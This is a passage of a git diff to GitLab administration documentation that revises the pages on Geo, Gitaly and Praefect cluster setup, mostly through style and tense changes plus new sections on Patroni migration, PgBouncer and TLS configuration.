a new Geo secondary node. There is an [issue to account for seed projects](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5618) - when checking the database. - When prompted, enter the _plaintext_ password you set up for the `gitlab_replicator` user in the first step. @@ -499,6 +494,8 @@ This experimental implementation has the following limitations: For instructions about how to set up Patroni on the primary node, see the [PostgreSQL replication and failover with Omnibus GitLab](../../postgresql/replication_and_failover.md#patroni) page. +If you are currently using `repmgr` on your Geo primary, see [these instructions](#migrating-from-repmgr-to-patroni) for migrating from `repmgr` to Patroni. + A production-ready and secure setup requires at least three Patroni instances on the primary, and a similar configuration on the secondary nodes. Be sure to use password credentials and other database best practices. @@ -549,6 +546,13 @@ patroni['standby_cluster']['primary_slot_name'] = 'geo_secondary' # or the uniqu patroni['replication_password'] = 'PLAIN_TEXT_POSTGRESQL_REPLICATION_PASSWORD' ``` +## Migrating from repmgr to Patroni + +1. Before migrating, it is recommended that there is no replication lag between the primary and secondary sites and that replication is paused. In GitLab 13.2 and later, you can pause and resume replication with `gitlab-ctl geo-replication-pause` and `gitlab-ctl geo-replication-resume` on a Geo secondary database node. +1. Follow the [instructions to migrate repmgr to Patroni](../../postgresql/replication_and_failover.md#switching-from-repmgr-to-patroni). When configuring Patroni on each primary site database node, add `patroni['replicaton_slots'] = { '<slot_name>' => 'physical' }` +to `gitlab.rb` where `<slot_name>` is the name of the replication slot for your Geo secondary. This will ensure that Patroni recognizes the replication slot as permanent and will not drop it upon restarting. +1. If database replication to the secondary was paused before migration, resume replication once Patroni is confirmed working on the primary. + ## Troubleshooting Read the [troubleshooting document](../replication/troubleshooting.md). diff --git a/doc/administration/geo/setup/external_database.md b/doc/administration/geo/setup/external_database.md index 33a7bc38b6e..1fb41fbb53a 100644 --- a/doc/administration/geo/setup/external_database.md +++ b/doc/administration/geo/setup/external_database.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Geo -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- @@ -11,7 +11,7 @@ This document is relevant if you are using a PostgreSQL instance that is *not managed by Omnibus*. This includes cloud-managed instances like AWS RDS, or manually installed and configured PostgreSQL instances. -NOTE: **Note:** +NOTE: We strongly recommend running Omnibus-managed instances as they are actively developed and tested. We aim to be compatible with most external (not managed by Omnibus) databases but we do not guarantee compatibility. @@ -186,7 +186,7 @@ to grant additional roles to your tracking database user (by default, this is If you have an external database ready to be used as the tracking database, follow the instructions below to use it: -NOTE: **Note:** +NOTE: If you want to use AWS RDS as a tracking database, make sure it has access to the secondary database. Unfortunately, just assigning the same security group is not enough as outbound rules do not apply to RDS PostgreSQL databases. Therefore, you need to explicitly add an inbound diff --git a/doc/administration/geo/setup/index.md b/doc/administration/geo/setup/index.md index a4d9fcba14d..8308cbfa82e 100644 --- a/doc/administration/geo/setup/index.md +++ b/doc/administration/geo/setup/index.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Geo -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto --- @@ -12,7 +12,7 @@ These instructions assume you have a working instance of GitLab. They guide you 1. Making your existing instance the **primary** node. 1. Adding **secondary** nodes. -CAUTION: **Caution:** +WARNING: The steps below should be followed in the order they appear. **Make sure the GitLab version is the same on all nodes.** ## Using Omnibus GitLab diff --git a/doc/administration/git_annex.md b/doc/administration/git_annex.md index 59c1e621e46..e21a8ac7e84 100644 --- a/doc/administration/git_annex.md +++ b/doc/administration/git_annex.md @@ -1,14 +1,14 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, howto disqus_identifier: 'https://docs.gitlab.com/ee/workflow/git_annex.html' --- # Git annex -CAUTION: **Warning:** +WARNING: [Git Annex support was removed](https://gitlab.com/gitlab-org/gitlab/-/issues/1648) in GitLab 9.0. Read through the [migration guide from git-annex to Git LFS](../topics/git/lfs/migrate_from_git_annex_to_git_lfs.md). @@ -94,7 +94,7 @@ one is located in `config.yml` of GitLab Shell. ## Using GitLab git-annex -NOTE: **Note:** +NOTE: Your Git remotes must be using the SSH protocol, not HTTP(S). Here is an example workflow of uploading a very large file and then checking it diff --git a/doc/administration/git_protocol.md b/doc/administration/git_protocol.md index 841e636bd0a..ca4fa0549d0 100644 --- a/doc/administration/git_protocol.md +++ b/doc/administration/git_protocol.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference description: "Set and configure Git protocol v2" --- diff --git a/doc/administration/gitaly/index.md b/doc/administration/gitaly/index.md index 0d9c761e078..e0b0d52fe3f 100644 --- a/doc/administration/gitaly/index.md +++ b/doc/administration/gitaly/index.md @@ -1,7 +1,7 @@ --- stage: Create group: Gitaly -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -22,10 +22,15 @@ In the Gitaly documentation: GitLab end users do not have direct access to Gitaly. Gitaly only manages Git repository access for GitLab. Other types of GitLab data aren't accessed using Gitaly. -CAUTION: **Caution:** -From GitLab 13.0, Gitaly support for NFS is deprecated. In GitLab 14.0, Gitaly support -for NFS is scheduled to be removed. Upgrade to [Gitaly Cluster](praefect.md) as soon as -possible. +<!-- vale gitlab.FutureTense = NO --> + +WARNING: +From GitLab 13.0, Gitaly support for NFS is deprecated. As of GitLab 14.0, NFS-related issues +with Gitaly will no longer be addressed. Upgrade to [Gitaly Cluster](praefect.md) as soon as +possible. Tools to [enable bulk moves](https://gitlab.com/groups/gitlab-org/-/epics/4916) +of projects to Gitaly Cluster are planned. + +<!-- vale gitlab.FutureTense = YES --> ## Architecture @@ -68,7 +73,7 @@ this default configuration used by: However, Gitaly can be deployed to its own server, which can benefit GitLab installations that span multiple machines. -NOTE: **Note:** +NOTE: When configured to run on their own servers, Gitaly servers [must be upgraded](https://docs.gitlab.com/omnibus/update/#upgrading-gitaly-servers) before Gitaly clients in your cluster. @@ -121,7 +126,7 @@ The following list depicts the network architecture of Gitaly: - Authentication is done through a static token which is shared among the Gitaly and GitLab Rails nodes. -DANGER: **Warning:** +WARNING: Gitaly servers must not be exposed to the public internet as Gitaly's network traffic is unencrypted by default. The use of firewall is highly recommended to restrict access to the Gitaly server. Another option is to [use TLS](#enable-tls-support). @@ -140,7 +145,7 @@ We assume your GitLab installation has three repository storages: You can use as few as one server with one repository storage if desired. -NOTE: **Note:** +NOTE: The token referred to throughout the Gitaly documentation is just an arbitrary password selected by the administrator. It is unrelated to tokens created for the GitLab API or other similar web API tokens. @@ -433,9 +438,9 @@ server (with `gitaly_address`) unless you setup with special path: /some/local/path ``` - NOTE: **Note:** - `/some/local/path` should be set to a local folder that exists, however no data will be stored in - this folder. This will no longer be necessary after + NOTE: + `/some/local/path` should be set to a local folder that exists, however no data is stored in + this folder. This requirement is scheduled to be removed when [this issue](https://gitlab.com/gitlab-org/gitaly/-/issues/1282) is resolved. 1. Save the file and [restart GitLab](../restart_gitlab.md#installations-from-source). @@ -450,7 +455,7 @@ server (with `gitaly_address`) unless you setup with special When you tail the Gitaly logs on your Gitaly server, you should see requests coming in. One sure way to trigger a Gitaly request is to clone a repository from GitLab over HTTP or HTTPS. -DANGER: **Warning:** +WARNING: If you have [server hooks](../server_hooks.md) configured, either per repository or globally, you must move these to the Gitaly servers. If you have multiple Gitaly servers, copy your server hooks to all Gitaly servers. @@ -461,7 +466,7 @@ GitLab can reside on the same server as one of many Gitaly servers, but doesn't configuration that mixes local and remote configuration. The following setup is incorrect, because: - All addresses must be reachable from the other Gitaly servers. -- `storage1` will be assigned a Unix socket for `gitaly_address` which is +- `storage1` is assigned a Unix socket for `gitaly_address` which is invalid for some of the Gitaly servers. ```ruby @@ -493,7 +498,7 @@ gitaly['key_path'] = "/etc/gitlab/ssl/key.pem" ``` `path` can only be included for storage shards on the local Gitaly server. -If it's excluded, default Git storage directory will be used for that storage shard. +If it's excluded, default Git storage directory is used for that storage shard. ### Disable Gitaly where not required (optional) @@ -529,12 +534,18 @@ To disable Gitaly on a GitLab server: ## Enable TLS support -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/22602) in GitLab 11.8. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/22602) in GitLab 11.8. +> - [Introduced](https://gitlab.com/gitlab-org/gitaly/-/issues/3160) in GitLab 13.6, outgoing TLS connections to GitLab provide client certificates if configured. Gitaly supports TLS encryption. To communicate with a Gitaly instance that listens for secure connections, you must use `tls://` URL scheme in the `gitaly_address` of the corresponding storage entry in the GitLab configuration. +Gitaly provides the same server certificates as client certificates in TLS +connections to GitLab. This can be used as part of a mutual TLS authentication strategy +when combined with reverse proxies (for example, NGINX) that validate client certificate +to grant access to GitLab. + You must supply your own certificates as this isn't provided automatically. The certificate corresponding to each Gitaly server must be installed on that Gitaly server. @@ -584,7 +595,7 @@ To configure Gitaly with TLS: ``` 1. Copy all Gitaly server certificates (or their certificate authority) to - `/etc/gitlab/trusted-certs` so that Gitaly servers will trust the certificate when calling into themselves + `/etc/gitlab/trusted-certs` so that Gitaly servers trust the certificate when calling into themselves or other Gitaly servers: ```shell @@ -640,9 +651,9 @@ To configure Gitaly with TLS: path: /some/local/path ``` - NOTE: **Note:** - `/some/local/path` should be set to a local folder that exists, however no data will be stored - in this folder. This will no longer be necessary after + NOTE: + `/some/local/path` should be set to a local folder that exists, however no data is stored + in this folder. This requirement is scheduled to be removed when [Gitaly issue #1282](https://gitlab.com/gitlab-org/gitaly/-/issues/1282) is resolved. 1. Save the file and [restart GitLab](../restart_gitlab.md#installations-from-source). @@ -662,7 +673,7 @@ To configure Gitaly with TLS: ``` 1. Copy all Gitaly server certificates (or their certificate authority) to the system trusted - certificates folder so Gitaly server will trust the certificate when calling into itself or other Gitaly + certificates folder so Gitaly server trusts the certificate when calling into itself or other Gitaly servers. ```shell @@ -716,7 +727,7 @@ We recommend: - At least 300MB memory per worker. - No more than one worker per core. -NOTE: **Note:** +NOTE: `gitaly-ruby` is planned to be eventually removed. To track progress, see the [Remove the Gitaly-Ruby sidecar](https://gitlab.com/groups/gitlab-org/-/epics/2862) epic. @@ -798,9 +809,9 @@ You can observe the behavior of this queue using the Gitaly logs and Prometheus: - `gitaly_rate_limiting_queued`. - `gitaly_rate_limiting_seconds`. -NOTE: **Note:** +NOTE: Though the name of the Prometheus metric contains `rate_limiting`, it is a concurrency limiter, not -a rate limiter. If a Gitaly client makes 1000 requests in a row very quickly, concurrency will not +a rate limiter. If a Gitaly client makes 1000 requests in a row very quickly, concurrency does not exceed 1 and the concurrency limiter has no effect. ## Rotate Gitaly authentication token @@ -829,7 +840,7 @@ behavior of your GitLab installation using Prometheus. Use the following Prometh sum(rate(gitaly_authentications_total[5m])) by (enforced, status) ``` -In a system where authentication is configured correctly and where you have live traffic, you will +In a system where authentication is configured correctly and where you have live traffic, you see something like this: ```prometheus @@ -885,7 +896,7 @@ To update to a new Gitaly authentication token, on each Gitaly client **and** Gi ``` If you run your [Prometheus query](#verify-authentication-monitoring) while this change is -being rolled out, you will see non-zero values for the `enforced="false",status="denied"` counter. +being rolled out, you see non-zero values for the `enforced="false",status="denied"` counter. ### Ensure there are no authentication failures @@ -908,7 +919,7 @@ your Gitaly servers as follows: gitaly['auth_transitioning'] = false ``` -CAUTION: **Caution:** +WARNING: Without completing this step, you have **no Gitaly authentication**. ### Verify authentication is enforced @@ -959,7 +970,7 @@ not an external process, there was very little overhead between: - GitLab application code that tried to look up data in Git repositories. - The Git implementation itself. -Because the combination of Rugged and Unicorn was so efficient, GitLab's application code ended up with lots of +Because the combination of Rugged and Unicorn was so efficient, the GitLab application code ended up with lots of duplicate Git object lookups. For example, looking up the `master` commit a dozen times in one request. We could write inefficient code without poor performance. @@ -995,9 +1006,9 @@ enables direct Git access. When GitLab calls a function that has a "Rugged patch", it performs two checks: - Is the feature flag for this patch set in the database? If so, the feature flag setting controls - GitLab's use of "Rugged patch" code. + the GitLab use of "Rugged patch" code. - If the feature flag is not set, GitLab tries accessing the filesystem underneath the - Gitaly server directly. If it can, it will use the "Rugged patch": + Gitaly server directly. If it can, it uses the "Rugged patch": - If using Unicorn. - If using Puma and [thread count](../../install/requirements.md#puma-threads) is set to `1`. @@ -1070,7 +1081,7 @@ gitaly-debug -h remote: GitLab: 401 Unauthorized ``` -You will need to sync your `gitlab-secrets.json` file with your Gitaly clients (GitLab +You need to sync your `gitlab-secrets.json` file with your Gitaly clients (GitLab app nodes). ### Client side gRPC logs diff --git a/doc/administration/gitaly/praefect.md b/doc/administration/gitaly/praefect.md index d091ae5895a..6eaafae6015 100644 --- a/doc/administration/gitaly/praefect.md +++ b/doc/administration/gitaly/praefect.md @@ -1,7 +1,7 @@ --- stage: Create group: Gitaly -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -12,7 +12,7 @@ be run in a clustered configuration to increase fault tolerance. In this configuration, every Git repository is stored on every Gitaly node in the cluster. Multiple clusters (or shards), can be configured. -NOTE: **Note:** +NOTE: Gitaly Clusters can be created using [GitLab Core](https://about.gitlab.com/pricing/#self-managed) and higher tiers. However, technical support is limited to GitLab Premium and Ultimate customers only. Not available in GitLab.com. @@ -47,18 +47,40 @@ The availability objectives for Gitaly clusters are: [Faster outage detection](https://gitlab.com/gitlab-org/gitaly/-/issues/2608) is planned to improve this to less than 1 second. -The current version supports: +Gitaly Cluster supports: -- Eventual consistency of the secondary replicas. -- Automatic failover from the primary to the secondary. -- Reporting of possible data loss if replication queue is non empty. -- Marking the newly promoted primary read only if possible data loss is - detected. +- [Strong consistency](#strong-consistency) of the secondary replicas. +- [Automatic failover](#automatic-failover-and-leader-election) from the primary to the secondary. +- Reporting of possible data loss if replication queue is non-empty. +- Marking repositories as [read only](#read-only-mode) if data loss is detected to prevent data inconsistencies. Follow the [HA Gitaly epic](https://gitlab.com/groups/gitlab-org/-/epics/1489) for improvements including [horizontally distributing reads](https://gitlab.com/groups/gitlab-org/-/epics/2013). +## Gitaly Cluster compared to Geo + +Gitaly Cluster and [Geo](../geo/index.md) both provide redundancy. However the redundancy of: + +- Gitaly Cluster provides fault tolerance for data storage and is invisible to the user. Users are + not aware when Gitaly Cluster is used. +- Geo provides [replication](../geo/index.md) and [disaster recovery](../geo/disaster_recovery/index.md) for + an entire instance of GitLab. Users know when they are using Geo for + [replication](../geo/index.md). Geo [replicates multiple datatypes](../geo/replication/datatypes.md#limitations-on-replicationverification), + including Git data. + +The following table outlines the major differences between Gitaly Cluster and Geo: + +| Tool | Nodes | Locations | Latency tolerance | Failover | Consistency | Provides redundancy for | +|:---------------|:---------|:----------|:-------------------|:-----------------------------------------------------|:------------------------------|:------------------------| +| Gitaly Cluster | Multiple | Single | Approximately 1 ms | [Automatic](#automatic-failover-and-leader-election) | [Strong](#strong-consistency) | Data storage in Git | +| Geo | Multiple | Multiple | Up to one minute | [Manual](../geo/disaster_recovery/index.md) | Eventual | Entire GitLab instance | + +For more information, see: + +- [Gitaly architecture](index.md#architecture). +- Geo [use cases](../geo/index.md#use-cases) and [architecture](../geo/index.md#architecture). + ## Cluster or shard Gitaly supports multiple models of scaling: @@ -69,8 +91,8 @@ Gitaly supports multiple models of scaling: - Sharding using [repository storage paths](../repository_storage_paths.md), where each repository is stored on the assigned Gitaly node. All requests are routed to this node. -| Cluster | Shard | -|---|---| +| Cluster | Shard | +|:--------------------------------------------------|:----------------------------------------------| |  |  | Generally, Gitaly Cluster can replace sharded configurations, at the expense of additional storage @@ -122,9 +144,7 @@ package (highly recommended), follow the steps below: Before beginning, you should already have a working GitLab instance. [Learn how to install GitLab](https://about.gitlab.com/install/). -Provision a PostgreSQL server (PostgreSQL 11 or newer). Configuration through -the Omnibus GitLab distribution is not yet supported. Follow this -[issue](https://gitlab.com/gitlab-org/gitaly/-/issues/2476) for updates. +Provision a PostgreSQL server (PostgreSQL 11 or newer). Prepare all your new nodes by [installing GitLab](https://about.gitlab.com/install/). @@ -133,7 +153,7 @@ GitLab](https://about.gitlab.com/install/). - 3 Gitaly nodes (high CPU, high memory, fast storage) - 1 GitLab server -You will need the IP/host address for each node. +You need the IP/host address for each node. 1. `LOAD_BALANCER_SERVER_ADDRESS`: the IP/host address of the load balancer 1. `POSTGRESQL_SERVER_ADDRESS`: the IP/host address of the PostgreSQL server @@ -149,7 +169,7 @@ If you are using Google Cloud Platform, SoftLayer, or any other vendor that prov The communication between components is secured with different secrets, which are described below. Before you begin, generate a unique secret for each, and -make note of it. This will make it easy to replace these placeholder tokens +make note of it. This makes it easy to replace these placeholder tokens with secure tokens as you complete the setup process. 1. `GITLAB_SHELL_SECRET_TOKEN`: this is used by Git hooks to make callback HTTP @@ -164,11 +184,11 @@ with secure tokens as you complete the setup process. 1. `PRAEFECT_SQL_PASSWORD`: this password is used by Praefect to connect to PostgreSQL. -We will note in the instructions below where these secrets are required. +We note in the instructions below where these secrets are required. ### PostgreSQL -NOTE: **Note:** +NOTE: Do not store the GitLab application database and the Praefect database on the same PostgreSQL server if using [Geo](../geo/index.md). The replication state is internal to each instance @@ -184,13 +204,13 @@ failure. For greater fault tolerance, the following options are available: - Use a cloud-managed PostgreSQL service. AWS [Relational Database Service](https://aws.amazon.com/rds/) is recommended. -To complete this section you will need: +To complete this section you need: - 1 Praefect node - 1 PostgreSQL server (PostgreSQL 11 or newer) - An SQL user with permissions to create databases -During this section, we will configure the PostgreSQL server, from the Praefect +During this section, we configure the PostgreSQL server, from the Praefect node, using `psql` which is installed by Omnibus GitLab. 1. SSH into the **Praefect** node and login as root: @@ -207,7 +227,7 @@ node, using `psql` which is installed by Omnibus GitLab. /opt/gitlab/embedded/bin/psql -U postgres -d template1 -h POSTGRESQL_SERVER_ADDRESS ``` - Create a new user `praefect` which will be used by Praefect. Replace + Create a new user `praefect` to be used by Praefect. Replace `PRAEFECT_SQL_PASSWORD` with the strong password you generated in the preparation step. @@ -234,8 +254,23 @@ The database used by Praefect is now configured. To reduce PostgreSQL resource consumption, we recommend setting up and configuring [PgBouncer](https://www.pgbouncer.org/) in front of the PostgreSQL instance. To do -this, replace value of the `POSTGRESQL_SERVER_ADDRESS` with corresponding IP or host -address of the PgBouncer instance. +this, set the corresponding IP or host address of the PgBouncer instance in +`/etc/gitlab/gitlab.rb` by changing the following settings: + +- `praefect['database_host']`, for the address. +- `praefect['database_port']`, for the port. + +Because PgBouncer manages resources more efficiently, Praefect still requires a +direct connection to the PostgreSQL database because it uses +[LISTEN](https://www.postgresql.org/docs/11/sql-listen.html) +functionality that is [not supported](https://www.pgbouncer.org/features.html) by +PgBouncer with `pool_mode = transaction`. + +Therefore, `praefect['database_host_no_proxy']` and `praefect['database_port_no_proxy']` +should be set to a direct connection and not a PgBouncer connection. + +Save the changes to `/etc/gitlab/gitlab.rb` and +[reconfigure Praefect](../restart_gitlab.md#omnibus-gitlab-reconfigure). This documentation doesn't provide PgBouncer installation instructions, but you can: @@ -267,7 +302,7 @@ The `praefect` user and its password should be included in the file (default is `userlist.txt`) used by PgBouncer if the [`auth_file`](https://www.pgbouncer.org/config.html#auth_file) configuration option is set. -NOTE: **Note:** +NOTE: By default PgBouncer uses port `6432` to accept incoming connections. You can change it by setting the [`listen_port`](https://www.pgbouncer.org/config.html#listen_port) configuration option. We recommend setting it to the default port value (`5432`) used by @@ -278,14 +313,13 @@ PostgreSQL instances. Otherwise you should change the configuration parameter > [Introduced](https://gitlab.com/gitlab-org/gitaly/-/issues/2634) in GitLab 13.4, Praefect nodes can no longer be designated as `primary`. -NOTE: **Note:** +NOTE: If there are multiple Praefect nodes, complete these steps for **each** node. -To complete this section you will need: +To complete this section you need a [configured PostgreSQL server](#postgresql), including: -- [Configured PostgreSQL server](#postgresql), including: - - IP/host address (`POSTGRESQL_SERVER_ADDRESS`) - - password (`PRAEFECT_SQL_PASSWORD`) +- IP/host address (`POSTGRESQL_SERVER_ADDRESS`) +- Password (`PRAEFECT_SQL_PASSWORD`) Praefect should be run on a dedicated node. Do not run Praefect on the application server, or a Gitaly node. @@ -331,8 +365,8 @@ application server, or a Gitaly node. ``` 1. Configure a strong `auth_token` for **Praefect** by editing - `/etc/gitlab/gitlab.rb`. This will be needed by clients outside the cluster - (like GitLab Shell) to communicate with the Praefect cluster : + `/etc/gitlab/gitlab.rb`. This is needed by clients outside the cluster + (like GitLab Shell) to communicate with the Praefect cluster: ```ruby praefect['auth_token'] = 'PRAEFECT_EXTERNAL_TOKEN' @@ -341,7 +375,7 @@ application server, or a Gitaly node. 1. Configure **Praefect** to connect to the PostgreSQL database by editing `/etc/gitlab/gitlab.rb`. - You will need to replace `POSTGRESQL_SERVER_ADDRESS` with the IP/host address + You need to replace `POSTGRESQL_SERVER_ADDRESS` with the IP/host address of the database, and `PRAEFECT_SQL_PASSWORD` with the strong password set above. @@ -351,6 +385,8 @@ application server, or a Gitaly node. praefect['database_user'] = 'praefect' praefect['database_password'] = 'PRAEFECT_SQL_PASSWORD' praefect['database_dbname'] = 'praefect_production' + praefect['database_host_no_proxy'] = 'POSTGRESQL_SERVER_ADDRESS' + praefect['database_port_no_proxy'] = 5432 ``` If you want to use a TLS client certificate, the options below can be used: @@ -364,7 +400,7 @@ application server, or a Gitaly node. # praefect['database_sslrootcert'] = '/path/to/rootcert' ``` - By default Praefect will refuse to make an unencrypted connection to + By default, Praefect refuses to make an unencrypted connection to PostgreSQL. You can override this by uncommenting the following line: ```ruby @@ -377,15 +413,15 @@ application server, or a Gitaly node. The virtual storage's name must match the configured storage name in GitLab configuration. In a later step, we configure the storage name as `default` so we use `default` here as well. This cluster has three Gitaly nodes `gitaly-1`, - `gitaly-2`, and `gitaly-3`, which will be replicas of each other. + `gitaly-2`, and `gitaly-3`, which are intended to be replicas of each other. - CAUTION: **Caution:** + WARNING: If you have data on an already existing storage called `default`, you should configure the virtual storage with another name and [migrate the data to the Gitaly Cluster storage](#migrate-existing-repositories-to-gitaly-cluster) afterwards. - Replace `PRAEFECT_INTERNAL_TOKEN` with a strong secret, which will be used by + Replace `PRAEFECT_INTERNAL_TOKEN` with a strong secret, which is used by Praefect when communicating with Gitaly nodes in the cluster. This token is distinct from the `PRAEFECT_EXTERNAL_TOKEN`. @@ -479,6 +515,7 @@ To configure Praefect with TLS: **For Omnibus GitLab** 1. Create certificates for Praefect servers. + 1. On the Praefect servers, create the `/etc/gitlab/ssl` directory and copy your key and certificate there: @@ -497,7 +534,8 @@ To configure Praefect with TLS: praefect['key_path'] = "/etc/gitlab/ssl/key.pem" ``` -1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). +1. Save the file and [reconfigure](../restart_gitlab.md#omnibus-gitlab-reconfigure). + 1. On the Praefect clients (including each Gitaly server), copy the certificates, or their certificate authority, into `/etc/gitlab/trusted-certs`: @@ -510,8 +548,10 @@ To configure Praefect with TLS: ```ruby git_data_dirs({ - 'default' => { 'gitaly_address' => 'tls://praefect1.internal:3305' }, - 'storage1' => { 'gitaly_address' => 'tls://praefect2.internal:3305' }, + "default" => { + "gitaly_address" => 'tls://LOAD_BALANCER_SERVER_ADDRESS:2305', + "gitaly_token" => 'PRAEFECT_EXTERNAL_TOKEN' + } }) ``` @@ -546,21 +586,18 @@ To configure Praefect with TLS: repositories: storages: default: - gitaly_address: tls://praefect1.internal:3305 - path: /some/local/path - storage1: - gitaly_address: tls://praefect2.internal:3305 + gitaly_address: tls://LOAD_BALANCER_SERVER_ADDRESS:3305 path: /some/local/path ``` - NOTE: **Note:** + NOTE: `/some/local/path` should be set to a local folder that exists, however no - data will be stored in this folder. This will no longer be necessary after + data is stored in this folder. This requirement is scheduled to be removed when [this issue](https://gitlab.com/gitlab-org/gitaly/-/issues/1282) is resolved. 1. Save the file and [restart GitLab](../restart_gitlab.md#installations-from-source). 1. Copy all Praefect server certificates, or their certificate authority, to the system - trusted certificates on each Gitaly server so the Praefect server will trust the + trusted certificates on each Gitaly server so the Praefect server trusts the certificate when called by Gitaly servers: ```shell @@ -582,10 +619,10 @@ To configure Praefect with TLS: ### Gitaly -NOTE: **Note:** +NOTE: Complete these steps for **each** Gitaly node. -To complete this section you will need: +To complete this section you need: - [Configured Praefect node](#praefect) - 3 (or more) servers, with GitLab installed, to be configured as Gitaly nodes. @@ -595,19 +632,19 @@ Every Gitaly server assigned to the Praefect cluster needs to be configured. The configuration is the same as a normal [standalone Gitaly server](index.md), except: -- the storage names are exposed to Praefect, not GitLab -- the secret token is shared with Praefect, not GitLab +- The storage names are exposed to Praefect, not GitLab +- The secret token is shared with Praefect, not GitLab The configuration of all Gitaly nodes in the Praefect cluster can be identical, because we rely on Praefect to route operations correctly. Particular attention should be shown to: -- the `gitaly['auth_token']` configured in this section must match the `token` +- The `gitaly['auth_token']` configured in this section must match the `token` value under `praefect['virtual_storages']` on the Praefect node. This was set in the [previous section](#praefect). This document uses the placeholder `PRAEFECT_INTERNAL_TOKEN` throughout. -- the storage names in `git_data_dirs` configured in this section must match the +- The storage names in `git_data_dirs` configured in this section must match the storage names under `praefect['virtual_storages']` on the Praefect node. This was set in the [previous section](#praefect). This document uses `gitaly-1`, `gitaly-2`, and `gitaly-3` as Gitaly storage names. @@ -659,8 +696,8 @@ documentation](index.md#configure-gitaly-servers). ``` 1. Configure a strong `auth_token` for **Gitaly** by editing - `/etc/gitlab/gitlab.rb`. This will be needed by clients to communicate with - this Gitaly nodes. Typically, this token will be the same for all Gitaly + `/etc/gitlab/gitlab.rb`. This is needed by clients to communicate with + this Gitaly nodes. Typically, this token is the same for all Gitaly nodes. ```ruby @@ -728,7 +765,7 @@ documentation](index.md#configure-gitaly-servers). After all Gitaly nodes are configured, you can run the Praefect connection checker to verify Praefect can connect to all Gitaly servers in the Praefect -config. +configuration. 1. SSH into each **Praefect** node and run the Praefect connection checker: @@ -743,7 +780,7 @@ internal traffic from the GitLab application to the Praefect nodes. The specifics on which load balancer to use or the exact configuration is beyond the scope of the GitLab documentation. -NOTE: **Note:** +NOTE: The load balancer must be configured to accept traffic from the Gitaly nodes in addition to the GitLab nodes. Some requests handled by [`gitaly-ruby`](index.md#gitaly-ruby) sidecar processes call into the main Gitaly @@ -754,16 +791,16 @@ We hope that if you’re managing HA systems like GitLab, you have a load balanc of choice already. Some examples include [HAProxy](https://www.haproxy.org/) (open-source), [Google Internal Load Balancer](https://cloud.google.com/load-balancing/docs/internal/), [AWS Elastic Load Balancer](https://aws.amazon.com/elasticloadbalancing/), F5 -Big-IP LTM, and Citrix Net Scaler. This documentation will outline what ports +Big-IP LTM, and Citrix Net Scaler. This documentation outlines what ports and protocols you need configure. | LB Port | Backend Port | Protocol | -|---------|--------------|----------| +|:--------|:-------------|:---------| | 2305 | 2305 | TCP | ### GitLab -To complete this section you will need: +To complete this section you need: - [Configured Praefect node](#praefect) - [Configured Gitaly nodes](#gitaly) @@ -787,17 +824,17 @@ Particular attention should be shown to: 1. Configure the `external_url` so that files could be served by GitLab by proper endpoint access by editing `/etc/gitlab/gitlab.rb`: - You will need to replace `GITLAB_SERVER_URL` with the real external facing + You need to replace `GITLAB_SERVER_URL` with the real external facing URL on which current GitLab instance is serving: ```ruby external_url 'GITLAB_SERVER_URL' ``` -1. Disable the default Gitaly service running on the GitLab host. It won't be needed - as GitLab will connect to the configured cluster. +1. Disable the default Gitaly service running on the GitLab host. It isn't needed + because GitLab connects to the configured cluster. - CAUTION: **Caution:** + WARNING: If you have existing data stored on the default Gitaly storage, you should [migrate the data your Gitaly Cluster storage](#migrate-existing-repositories-to-gitaly-cluster) first. @@ -809,12 +846,14 @@ Particular attention should be shown to: 1. Add the Praefect cluster as a storage location by editing `/etc/gitlab/gitlab.rb`. - You will need to replace: + You need to replace: - `LOAD_BALANCER_SERVER_ADDRESS` with the IP address or hostname of the load balancer. - `PRAEFECT_EXTERNAL_TOKEN` with the real secret + If you are using TLS, the `gitaly_address` should begin with `tls://`. + ```ruby git_data_dirs({ "default" => { @@ -828,7 +867,7 @@ Particular attention should be shown to: nodes during a `git push` are properly authenticated by editing `/etc/gitlab/gitlab.rb`: - You will need to replace `GITLAB_SHELL_SECRET_TOKEN` with the real secret. + You need to replace `GITLAB_SHELL_SECRET_TOKEN` with the real secret. ```ruby gitlab_shell['secret_token'] = 'GITLAB_SHELL_SECRET_TOKEN' @@ -837,7 +876,7 @@ Particular attention should be shown to: 1. Add Prometheus monitoring settings by editing `/etc/gitlab/gitlab.rb`. If Prometheus is enabled on a different node, make edits on that node instead. - You will need to replace: + You need to replace: - `PRAEFECT_HOST` with the IP address or hostname of the Praefect node - `GITALY_HOST` with the IP address or hostname of each Gitaly node @@ -922,7 +961,7 @@ To get started quickly: gitlab-ctl 